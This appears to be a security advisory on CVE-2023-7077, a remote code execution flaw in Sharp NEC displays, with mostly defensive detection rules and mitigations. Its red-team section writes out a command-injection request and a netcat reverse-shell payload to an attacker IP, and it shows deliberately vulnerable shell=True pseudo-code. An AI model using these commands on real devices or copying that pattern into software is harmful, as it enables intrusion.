CVE-2023-7077

Executive Summary

CVE-2023-7077 is a critical remote code execution (RCE) vulnerability affecting a wide range of Sharp NEC Display models, including the P403, P463, P553, P703, P801, X554UN, X464UN, X554UNS, X464UNV, X474HB, X464UNS, X554UNV, X555UNS, X555UNV, X754HB, X554HB, E705, E805, E905, UN551S, UN551VS, X551UHD, X651UHD, X841UHD, X981UHD, and MD551C8. The vulnerability allows an unauthenticated attacker to execute arbitrary code on the device by sending specially crafted HTTP requests with unintended parameters. This poses a severe risk to enterprise environments where these displays are used for digital signage, control rooms, and public information systems. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available. The vulnerability is classified under CWE-94 (Improper Control of Generation of Code - Code Injection) and is mapped to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application).

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, indicating that a full vector has not been assigned by NVD. However, based on the nature of the vulnerability (unauthenticated remote code execution), the estimated CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the display.
• Confidentiality (C): High (H) - Full access to device data and network traffic.
• Integrity (I): High (H) - Full control over device behavior and displayed content.
• Availability (A): High (H) - Potential for denial of service or device bricking.

Threat Level: Critical. The lack of authentication and the ability to execute arbitrary code make this a high-priority vulnerability for any organization using these displays.

Deep Dive & Mechanics

The vulnerability resides in the HTTP server component of the affected Sharp NEC Display models. The displays expose a web interface for configuration and management. By sending HTTP requests with unintended or malformed parameters, an attacker can trigger a code injection flaw. The exact mechanism is not publicly documented, but it is likely due to insufficient input validation or improper handling of user-supplied data in a server-side script or binary.

The attack surface is the web management interface, typically accessible on TCP port 80 or 443. An attacker can craft a request with parameters that are not properly sanitized, leading to the execution of arbitrary commands or code on the underlying operating system (likely a Linux-based embedded system). This could allow the attacker to:

• Install malware or backdoors.
• Modify displayed content (e.g., for defacement or misinformation).
• Pivot to other devices on the network.
• Exfiltrate sensitive data displayed or processed by the device.

The vulnerability affects a broad range of models, suggesting a common codebase or library is used across the product line.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison cannot be made. However, based on the vulnerability description, the vulnerable code likely resembles:

# Vulnerable pseudo-code
import cgi
import subprocess

form = cgi.FieldStorage()
command = form.getvalue('cmd')
if command:
    subprocess.call(command, shell=True)

A patched version would implement strict input validation and avoid using shell commands:

# Patched pseudo-code
import cgi
import subprocess

ALLOWED_COMMANDS = ['reboot', 'shutdown', 'status']

form = cgi.FieldStorage()
command = form.getvalue('cmd')
if command in ALLOWED_COMMANDS:
    subprocess.call([command], shell=False)
else:
    print("Invalid command")

The key difference is the removal of shell=True and the use of a whitelist to restrict allowed commands.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Obtain a vulnerable Sharp NEC Display (e.g., P403) or use a firmware emulator (e.g., QEMU for ARM/MIPS).
2. Connect the display to an isolated network segment.
3. Identify the IP address of the display (e.g., via DHCP or ARP scan).

Exploitation Steps: Since no public PoC is available, the following is a conceptual approach:

1. Reconnaissance: Scan the display's web interface to identify endpoints and parameters.

   nmap -sV -p 80,443 <target_ip>
   

2. Parameter Fuzzing: Use a tool like Burp Suite or ffuf to fuzz for vulnerable parameters.

   ffuf -u http://<target_ip>/cgi-bin/status?FUZZ=test -w /usr/share/wordlists/parameters.txt
   

3. Craft Exploit: If a parameter like cmd or exec is found, attempt command injection.

   curl "http://<target_ip>/cgi-bin/status?cmd=id"
   

4. Achieve RCE: If successful, execute a reverse shell.

   curl "http://<target_ip>/cgi-bin/status?cmd=nc%20-e%20/bin/sh%20<attacker_ip>%204444"
   

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to the display's web interface for unusual parameters or payloads.
• Look for outbound connections from the display to unknown IPs on non-standard ports.
• Check for unexpected processes or files on the display (if accessible).

Hunting:

• Search logs for requests containing shell metacharacters (;, |, &, $, `).
• Use network flow data to identify anomalous traffic from the display.

Mitigation:

• Isolate displays on a separate VLAN with strict firewall rules.
• Disable the web interface if not required.
• Implement a Web Application Firewall (WAF) to filter malicious requests.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests to the display containing parameters like cmd, exec, command, or shell.
  • Outbound connections from the display to IPs on ports 4444, 1337, or other reverse shell ports.
  • Unusual DNS queries from the display to domains associated with C2 infrastructure.

• Host:

  • Unexpected processes running on the display (e.g., nc, bash, python).
  • New files in /tmp or /var/tmp with suspicious names.
  • Modified system binaries or configuration files.

• Logs:

  • Web server logs showing requests with encoded payloads (e.g., %3B, %7C).
  • System logs showing execution of commands like id, whoami, or uname.

Detection Engineering

YARA Rule

rule CVE_2023_7077_Sharp_NEC_RCE {
    meta:
        description = "Detects exploit attempts for CVE-2023-7077 Sharp NEC Display RCE"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-7077"
    strings:
        $cmd_param = "cmd=" nocase
        $exec_param = "exec=" nocase
        $shell_meta = /[;&|`$]/
        $http_get = "GET /" nocase
    condition:
        $http_get and ($cmd_param or $exec_param) and $shell_meta
}

Sigma Rule

title: Sharp NEC Display RCE Attempt
id: 8f4a3b2c-1d5e-4f6a-8b7c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP requests with suspicious parameters targeting Sharp NEC Displays
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'cmd='
            - 'exec='
            - 'command='
        cs-uri-query|re: '.*[;&|`$].*'
    condition: selection
falsepositives:
    - Legitimate administrative commands (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-7077 Sharp NEC Display RCE Attempt"; flow:to_server; content:"GET"; http_method; content:"cmd="; http_uri; pcre:"/[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Devices: Place all Sharp NEC Displays on a separate VLAN with strict access controls. Block inbound HTTP traffic from untrusted networks.
2. Disable Web Interface: If the web interface is not required for operations, disable it via the device's OSD menu or configuration.
3. Monitor for Exploitation: Deploy the provided detection rules to identify potential attacks.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Sharp NEC. Contact their support for the latest status.
• Firmware Hardening: If possible, restrict the web server to only listen on localhost or require authentication.
• Network Segmentation: Implement a zero-trust architecture where displays cannot initiate outbound connections.

Workaround:

• Use a reverse proxy or WAF to inspect and filter HTTP requests to the displays.
• Implement IP whitelisting to allow only trusted management stations.

Valters IT Signature
Securing Digital Signage, One Display at a Time